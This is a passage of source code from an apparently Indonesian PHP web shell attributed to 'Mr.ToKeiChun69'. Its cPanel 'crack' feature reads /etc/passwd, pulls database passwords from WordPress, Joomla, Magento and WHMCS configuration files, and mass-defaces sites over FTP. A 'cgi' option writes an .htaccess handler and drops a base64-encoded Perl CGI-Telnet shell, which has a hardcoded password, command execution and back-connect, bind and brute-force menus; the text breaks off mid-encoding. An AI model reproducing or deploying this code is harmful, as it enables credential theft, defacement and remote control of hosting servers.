  2457.                                 $fi = htmlspecialchars($_POST['file_deface']);
  2458.                                 $deface = ftp_put($ftp_conn, "public_html/$fi", $_POST['deface'], FTP_BINARY);
  2459.                                 if($deface) {
  2460.                                     $i++;
  2461.                                     echo "[+] <font color=lime>Deface Sukses</font><br>";
  2462.                                     if(function_exists('posix_getpwuid')) {
  2463.                                         $domain_cp = file_get_contents("/etc/named.conf"); 
  2464.                                         if($domain_cp == '') {
  2465.                                             echo "[+] <font color=red>gabisa ambil nama domain nya</font><br><br>";
  2466.                                         } else {
  2467.                                             preg_match_all("#/var/named/(.*?).db#", $domain_cp, $domains_cp);
  2468.                                             foreach($domains_cp[1] as $dj) {
  2469.                                                 $user_cp_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
  2470.                                                 $user_cp_url = $user_cp_url['name'];
  2471.                                                 if($user_cp_url == $ucp) {
  2472.                                                     echo "[+] <a href='http://$dj/$fi' target='_blank'>http://$dj/$fi</a><br><br>";
  2473.                                                     break;
  2474.                                                 }
  2475.                                             }
  2476.                                         }
  2477.                                     } else {
  2478.                                         echo "[+] <font color=red>gabisa ambil nama domain nya</font><br><br>";
  2479.                                     }
  2480.                                 } else {
  2481.                                     echo "[-] <font color=red>Deface Gagal</font><br><br>";
  2482.                                 }
  2483.                             }
  2484.                             //echo "username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>)<br>";
  2485.                         }
  2486.                     }
  2487.                 }
  2488.             }
  2489.         }
  2490.         if($i == 0) {
  2491.         } else {
  2492.             echo "<br>Sukses Deface ".$i." Cpanel by <font color=lime>Mr.ToKeiChun69.</font>";
  2493.         }
  2494.     } else {
  2495.         echo "<center>
  2496.         <form method='post'>
  2497.         Filename: <br>
  2498.         <input type='text' name='file_deface' placeholder='index.php' value='index.php' style='width: 450px;'><br>
  2499.         Deface Page: <br>
  2500.         <input type='text' name='deface' placeholder='http://www.web-yang-udah-do-deface.com/filemu.php' style='width: 450px;'><br>
  2501.         USER: <br>
  2502.         <textarea style='width: 450px; height: 150px;' name='user_cp'>";
  2503.         $_usercp = fopen("/etc/passwd","r");
  2504.         while($getu = fgets($_usercp)) {
  2505.             if($getu == '' || !$_usercp) {
  2506.                 echo "<font color=red>Can't read /etc/passwd</font>";
  2507.             } else {
  2508.                 preg_match_all("/(.*?):x:/", $getu, $u);
  2509.                 foreach($u[1] as $user_cp) {
  2510.                         if(is_dir("/home/$user_cp/public_html")) {
  2511.                             echo "$user_cp\n";
  2512.                     }
  2513.                 }
  2514.             }
  2515.         }
  2516.         echo "</textarea><br>
  2517.         PASS: <br>
  2518.         <textarea style='width: 450px; height: 200px;' name='pass_cp'>";
  2519.         function cp_pass($dir) {
  2520.             $pass = "";
  2521.             $dira = scandir($dir);
  2522.             foreach($dira as $dirb) {
  2523.                 if(!is_file("$dir/$dirb")) continue;
  2524.                 $ambil = file_get_contents("$dir/$dirb");
  2525.                 if(preg_match("/WordPress/", $ambil)) {
  2526.                     $pass .= ambilkata($ambil,"DB_PASSWORD', '","'")."\n";
  2527.                 } elseif(preg_match("/JConfig|joomla/", $ambil)) {
  2528.                     $pass .= ambilkata($ambil,"password = '","'")."\n";
  2529.                 } elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
  2530.                     $pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."\n";
  2531.                 } elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
  2532.                     $pass .= ambilkata($ambil,'password = "','"')."\n";
  2533.                 } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
  2534.                     $pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")."\n";
  2535.                 } elseif(preg_match("/client/", $ambil)) {
  2536.                     preg_match("/password=(.*)/", $ambil, $pass1);
  2537.                     if(preg_match('/"/', $pass1[1])) {
  2538.                         $pass1[1] = str_replace('"', "", $pass1[1]);
  2539.                         $pass .= $pass1[1]."\n";
  2540.                     }
  2541.                 } elseif(preg_match("/cc_encryption_hash/", $ambil)) {
  2542.                     $pass .= ambilkata($ambil,"db_password = '","'")."\n";
  2543.                 }
  2544.             }
  2545.             echo $pass;
  2546.         }
  2547.         $cp_pass = cp_pass($dir);
  2548.         echo $cp_pass;
  2549.         echo "</textarea><br>
  2550.         <input type='submit' name='crack' style='width: 450px;' value='Hajar'>
  2551.         </form>
  2552.         <span>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br></center>";
  2553.     }
  2554. } elseif($_GET['pake'] == 'cgi') {
  2555.     $cgi_dir = mkdir('cgi', 0755);
  2556.     $file_cgi = "cgi/cgi.izo";
  2557.     $isi_htcgi = "AddHandler cgi-script .izo";
  2558.     $htcgi = fopen(".htaccess", "w");
  2559.     fwrite($htcgi, $isi_htcgi);
  2560.     fclose($htcgi);
  2561.     $cgi_script = "IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQp1c2UgTUlNRTo6QmFzZTY0Ow0KJFZlcnNpb249ICJDR0ktVGVsbmV0IFZlcnNpb24gMS4zIjsNCiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDMwMCwgMCwgMCksIDBweCAwcHggNXB4IHJnYigzMDAsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc+YjM3NGsgLSBDR0ktVGVsbmV0PC9mb250PiI7DQoNCiRQYXNzd29yZCA9ICJ4YWlzeW5kaWNhdGUiOwkJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhpcyB0byBsb2dpbi4NCnN1YiBJc19XaW4oKXsNCgkkb3MgPSAmdHJpbSgkRU5WeyJTRVJWRVJfU09GVFdBUkUifSk7DQoJaWYoJG9zID1+IG0vd2luL2kpew0KCQlyZXR1cm4gMTsNCgl9DQoJZWxzZXsNCgkJcmV0dXJuIDA7DQoJfQ0KfQ0KJFdpbk5UID0gJklzX1dpbigpOwkJCQkjIFlvdSBuZWVkIHRvIGNoYW5nZSB0aGUgdmFsdWUgb2YgdGhpcyB0byAxIGlmDQoJCQkJCQkJCSMgeW91J3JlIHJ1bm5pbmcgdGhpcyBzY3JpcHQgb24gYSBXaW5kb3dzIE5UDQoJCQkJCQkJCSMgbWFjaGluZS4gSWYgeW91J3JlIHJ1bm5pbmcgaXQgb24gVW5peCwgeW91DQoJCQkJCQkJCSMgY2FuIGxlYXZlIHRoZSB2YWx1ZSBhcyBpdCBpcy4NCg0KJE5UQ21kU2VwID0gIiYiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcw0KCQkJCQkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFdpbmRvd3MgTlQuDQoNCiRVbml4Q21kU2VwID0gIjsiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcw0KCQkJCQkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFVuaXguDQoNCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTAwMDA7CSMgVGltZSBpbiBzZWNvbmRzIGFmdGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkDQoJCQkJCQkJCSMgRG9uJ3Qgc2V0IHRoaXMgdG8gYSB2ZXJ5IGxhcmdlIHZhbHVlLiBUaGlzIGlzDQoJCQkJCQkJCSMgdXNlZnVsIGZvciBjb21tYW5kcyB0aGF0IG1heSBoYW5nIG9yIHRoYXQNCgkJCQkJCQkJIyB0YWtlIHZlcnkgbG9uZyB0byBleGVjdXRlLCBsaWtlICJmaW5kIC8iLg0KCQkJCQkJCQkjIFRoaXMgaXMgdmFsaWQgb25seSBvbiBVbml4IHNlcnZlcnMuIEl0IGlzDQoJCQkJCQkJCSMgaWdub3JlZCBvbiBOVCBTZXJ2ZXJzLg0KDQokU2hvd0R5bmFtaWNPdXRwdXQgPSAxOwkJCSMgSWYgdGhpcyBpcyAxLCB0aGVuIGRhdGEgaXMgc2VudCB0byB0aGUNCgkJCQkJCQkJIyBicm93c2VyIGFzIHNvb24gYXMgaXQgaXMgb3V0cHV0LCBvdGhlcndpc2UNCgkJCQkJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kDQoJCQkJCQkJCSMgY29tcGxldGVzLiBUaGlzIGlzIHVzZWZ1bCBmb3IgY29tbWFuZHMgbGlrZQ0KCQkJCQkJCQkjIHBpbmcsIHNvIHRoYXQgeW91IGNhbiBzZWUgdGhlIG91dHB1dCBhcyBpdA0KCQkJCQkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4NCg0KIyBET04nVCBDSEFOR0UgQU5ZVEhJTkcgQkVMT1cgVEhJUyBMSU5FIFVOTEVTUyBZT1UgS05PVyBXSEFUIFlPVSdSRSBET0lORyAhIQ0KDQokQ21kU2VwID0gKCRXaW5OVCA/ICROVENtZFNlcCA6ICRVbml4Q21kU2VwKTsNCiRDbWRQd2QgPSAoJFdpbk5UID8gImNkIiA6ICJwd2QiKTsNCiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOw0KJFJlZGlyZWN0b3IgPSAoJFdpbk5UID8gIiAyPiYxIDE+JjIiIDogIiAxPiYxIDI+JjEiKTsNCiRjb2xzPSAxNTA7DQokcm93cz0gMjY7DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJzZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQNCiMgcGFyc2VzIEdFVCwgUE9TVCBhbmQgbXVsdGlwYXJ0L2Zvcm0tZGF0YSB0aGF0IGlzIHVzZWQgZm9yIHVwbG9hZGluZyBmaWxlcy4NCiMgVGhlIGZpbGVuYW1lIGlzIHN0b3JlZCBpbiAkaW57J2YnfSBhbmQgdGhlIGRhdGEgaXMgc3RvcmVkIGluICRpbnsnZmlsZWRhdGEnfS4NCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAkaW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YNCiMgdGhlIHZhcmlhYmxlLiBOb3RlOiBNb3N0IG9mIHRoZSBjb2RlIGluIHRoaXMgZnVuY3Rpb24gaXMgdGFrZW4gZnJvbSBvdGhlciBDR0kNCiMgc2NyaXB0cy4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBSZWFkUGFyc2UgDQp7DQoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsNCglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOw0KCQ0KCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOw0KDQoJaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiR0VUIikNCgl7DQoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9Ow0KCX0NCgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikNCgl7DQoJCWJpbm1vZGUoU1RESU4pIGlmICRNdWx0aXBhcnRGb3JtRGF0YSAmICRXaW5OVDsNCgkJcmVhZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsNCgl9DQoNCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhDQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pDQoJew0KCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IA0KCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyANCgkJJEhlYWRlckJvZHkgPSAkbGlzdFsxXTsNCgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOw0KCQkkSGVhZGVyID0gJGA7DQoJCSRCb2R5ID0gJCc7DQogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlDQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5Ow0KCQkkSGVhZGVyID1+IC9maWxlbmFtZT1cIiguKylcIi87IA0KCQkkaW57J2YnfSA9ICQxOyANCgkJJGlueydmJ30gPX4gcy9cIi8vZzsNCgkJJGlueydmJ30gPX4gcy9ccy8vZzsNCg0KCQkjIHBhcnNlIHRyYWlsZXINCgkJZm9yKCRpPTI7ICRsaXN0WyRpXTsgJGkrKykNCgkJeyANCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOw0KCQkJJGxpc3RbJGldID1+IC9cIihcdyspXCIvOw0KCQkJJGtleSA9ICQxOw0KCQkJJHZhbCA9ICQnOw0KCQkJJHZhbCA9fiBzLyheKFxyXG5cclxufFxuXG4pKXwoXHJcbiR8XG4kKS8vZzsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gPSAkdmFsOyANCgkJfQ0KCX0NCgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkNCgl7DQoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsNCgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQ0KCQl7DQoJCQkkaW5bJGldID1+IHMvXCsvIC9nOw0KCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsNCgkJCSRrZXkgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOw0KCQkJJGlueyRrZXl9IC49ICJcMCIgaWYgKGRlZmluZWQoJGlueyRrZXl9KSk7DQoJCQkkaW57JGtleX0gLj0gJHZhbDsNCgkJfQ0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgUGFnZSBIZWFkZXINCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50UGFnZUhlYWRlcg0Kew0KCSRFbmNvZGVkQ3VycmVudERpciA9ICRDdXJyZW50RGlyOw0KCSRFbmNvZGVkQ3VycmVudERpciA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7DQoJbXkgJGRpciA9JEN1cnJlbnREaXI7DQoJJGRpcj1+IHMvXFwvXFxcXC9nOw0KCXByaW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbFxuXG4iOw0KCXByaW50IDw8RU5EOw0KPGh0bWw+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9ImNvbnRlbnQtdHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ij4NCjx0aXRsZT5IYWNzdWdpYTwvdGl0bGU+DQoNCiRIdG1sTWV0YUhlYWRlcg0KDQo8L2hlYWQ+DQo8c3R5bGU+DQpib2R5ew0KZm9udDogMTBwdCBWZXJkYW5hOw0KfQ0KdHIgew0KQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7DQpjb2xvcjogI2ZmOTkwMDsNCn0NCnRkIHsNCkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOw0KY29sb3I6ICMyQkE4RUM7DQpmb250OiAxMHB0IFZlcmRhbmE7DQp9DQoNCnRhYmxlIHsNCkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOw0KQkFDS0dST1VORC1DT0xPUjogIzExMTsNCn0NCg0KDQppbnB1dCB7DQpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsNCkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOw0KZm9udDogMTBwdCBWZXJkYW5hOw0KY29sb3I6ICNmZjk5MDA7DQp9DQoNCmlucHV0LnN1Ym1pdCB7DQp0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47DQpjb2xvcjogI0ZGRkZGRjsNCmJvcmRlci1jb2xvcjogIzAwOTkwMDsNCn0NCg0KY29kZSB7DQpib3JkZXIJCQk6IGRhc2hlZCAwcHggIzMzMzsNCkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOw0KZm9udDogMTBwdCBWZXJkYW5hIGJvbGQ7DQpjb2xvcjogd2hpbGU7DQp9DQoNCnJ1biB7DQpib3JkZXIJCQk6IGRhc2hlZCAwcHggIzMzMzsNCmZvbnQ6IDEwcHQgVmVyZGFuYSBib2xkOw0KY29sb3I6ICNGRjAwQUE7DQp9DQoNCnRleHRhcmVhIHsNCkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOw0KQkFDS0dST1VORC1DT0xPUjogIzFiMWIxYjsNCmZvbnQ6IEZpeGVkc3lzIGJvbGQ7DQpjb2xvcjogI2FhYTsNCn0NCkE6bGluayB7DQoJQ09MT1I6ICMyQkE4RUM7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KQTp2aXNpdGVkIHsNCglDT0xPUjogIzJCQThFQzsgVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmhvdmVyIHsNCgl0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47DQoJY29sb3I6ICNmZjk5MDA7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KQTphY3RpdmUgew0KCWNvbG9yOiBSZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KDQoubGlzdGRpciB0cjpob3ZlcnsNCgliYWNrZ3JvdW5kOiAjNDQ0Ow0KfQ0KLmxpc3RkaXIgdHI6aG92ZXIgdGR7DQoJYmFja2dyb3VuZDogIzQ0NDsNCgl0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47DQoJY29sb3I6ICNGRkZGRkY7IFRFWFQtREVDT1JBVElPTjogbm9uZTsNCn0NCi5ub3RsaW5lew0KCWJhY2tncm91bmQ6ICMxMTE7DQp9DQoubGluZXsNCgliYWNrZ3JvdW5kOiAjMjIyOw0KfQ0KPC9zdHlsZT4NCjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPg0KZnVuY3Rpb24gY2htb2RfZm9ybShpLGZpbGUpDQp7DQoJLyp2YXIgYWpheD0nYWpheF9Qb3N0RGF0YSgiRm9ybVBlcm1zXycraSsnIiwiJFNjcmlwdExvY2F0aW9uIiwiUmVzcG9uc2VEYXRhIik7IHJldHVybiBmYWxzZTsnOyovDQoJdmFyIGFqYXg9IiI7DQoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVQZXJtc18iK2kpLmlubmVySFRNTD0iPGZvcm0gbmFtZT1Gb3JtUGVybXNfIiArIGkrICIgYWN0aW9uPScgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9Y2htb2QgdHlwZT10ZXh0IHNpemU9NSAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsgYWpheCArICInIHZhbHVlPU9LPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOw0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ0ZXh0XyIgKyBpKS5mb2N1cygpOw0KfQ0KZnVuY3Rpb24gcm1fY2htb2RfZm9ybShyZXNwb25zZSxpLHBlcm1zLGZpbGUpDQp7DQoJcmVzcG9uc2UuaW5uZXJIVE1MID0gIjxzcGFuIG9uY2xpY2s9XFxcImNobW9kX2Zvcm0oIiArIGkgKyAiLCciKyBmaWxlKyAiJylcXFwiID4iKyBwZXJtcyArIjwvc3Bhbj48L3RkPiI7DQp9DQpmdW5jdGlvbiByZW5hbWVfZm9ybShpLGZpbGUsZikNCnsNCgl2YXIgYWpheD0iIjsNCglmLnJlcGxhY2UoL1xcXFwvZywiXFxcXFxcXFwiKTsNCgl2YXIgYmFjaz0icm1fcmVuYW1lX2Zvcm0oIitpKyIsXFxcIiIrZmlsZSsiXFxcIixcXFwiIitmKyJcXFwiKTsgcmV0dXJuIGZhbHNlOyI7DQoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9Ijxmb3JtIG5hbWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nIG1ldGhvZD0nUE9TVCc+PGlucHV0IGlkPXRleHRfIiArIGkgKyAiICBuYW1lPXJlbmFtZSB0eXBlPXRleHQgdmFsdWU9ICciK2ZpbGUrIicgLz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgb25jbGljaz0nIiArIGFqYXggKyAiJyB2YWx1ZT1PSz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgb25jbGljaz0nIiArIGJhY2sgKyAiJyB2YWx1ZT1DYW5jZWw+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nZ3VpJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSckZGlyJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1mIHZhbHVlPSciK2ZpbGUrIic+PC9mb3JtPiI7DQoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7DQp9DQpmdW5jdGlvbiBybV9yZW5hbWVfZm9ybShpLGZpbGUsZikNCnsNCglpZihmPT0nZicpDQoJew0KCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Y29tbWFuZCZkPSRkaXImYz1lZGl0JTIwIitmaWxlKyIlMjAnPiIgK2ZpbGUrICI8L2E+IjsNCgl9ZWxzZQ0KCXsNCgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWd1aSZkPSIrZisiJz5bICIgK2ZpbGUrICIgXTwvYT4iOw0KCX0NCn0NCjwvc2NyaXB0Pg0KPGJvZHkgb25Mb2FkPSJkb2N1bWVudC5mLkBfLmZvY3VzKCkiIGJnY29sb3I9IiMwYzBjMGMiIHRvcG1hcmdpbj0iMCIgbGVmdG1hcmdpbj0iMCIgbWFyZ2lud2lkdGg9IjAiIG1hcmdpbmhlaWdodD0iMCI+DQo8Y2VudGVyPjxjb2RlPg0KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+DQo8dHI+DQoJPHRkIGFsaWduPSJjZW50ZXIiIHJvd3NwYW49Mj4NCgkJPGI+PGZvbnQgc2l6ZT0iNSI+JEVkaXRQZXJzaW9uPC9mb250PjwvYj4NCgk8L3RkPg0KDQoJPHRkPg0KDQoJCTxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiPiRFTlZ7IlNFUlZFUl9TT0ZUV0FSRSJ9PC9mb250Pg0KCTwvdGQ+DQoJPHRkPlNlcnZlciBJUDo8Zm9udCBjb2xvcj0iI2JiMDAwMCI+ICRFTlZ7J1NFUlZFUl9BRERSJ308L2ZvbnQ+IHwgWW91ciBJUDogPGZvbnQgY29sb3I9IiNiYjAwMDAiPiRFTlZ7J1JFTU9URV9BRERSJ308L2ZvbnQ+DQoJPC90ZD4NCg0KPC90cj4NCg0KPHRyPg0KPHRkIGNvbHNwYW49IjMiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiPg0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uIj5Ib21lPC9hPiB8IA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y29tbWFuZCZkPSRFbmNvZGVkQ3VycmVudERpciI+Q29tbWFuZDwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Z3VpJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5HVUk8L2E+IHwgDQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT11cGxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPlVwbG9hZCBGaWxlPC9hPiB8IA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwNCg0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9YmFja2JpbmQiPkJhY2sgJiBCaW5kPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1icnV0ZWZvcmNlciI+QnJ1dGUgRm9yY2VyPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1jaGVja2xvZyI+Q2hlY2sgTG9nPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb21haW5zdXNlciI+RG9tYWlucy9Vc2VyczwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5Mb2dvdXQ8L2E+IHwNCjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPSIjIj5IZWxwPC9hPg0KDQo8L2ZvbnQ+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KPGZvbnQgaWQ9IlJlc3BvbnNlRGF0YSIgY29sb3I9IiNmZjk5Y2MiID4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgTG9naW4gU2NyZWVuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpblNjcmVlbg0Kew0KDQoJcHJpbnQgPDxFTkQ7DQo8cHJlPjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NClR5cGluZ1RleHQgPSBmdW5jdGlvbihlbGVtZW50LCB